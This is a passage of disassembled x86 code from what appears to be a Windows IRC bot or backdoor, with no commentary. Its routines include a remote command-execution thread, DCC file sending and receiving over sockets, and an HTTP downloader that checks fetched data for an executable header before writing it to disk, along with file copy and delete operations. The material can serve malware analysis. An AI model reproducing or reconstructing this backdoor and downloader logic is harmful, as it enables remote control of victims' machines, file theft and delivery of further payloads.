jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DE00 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: 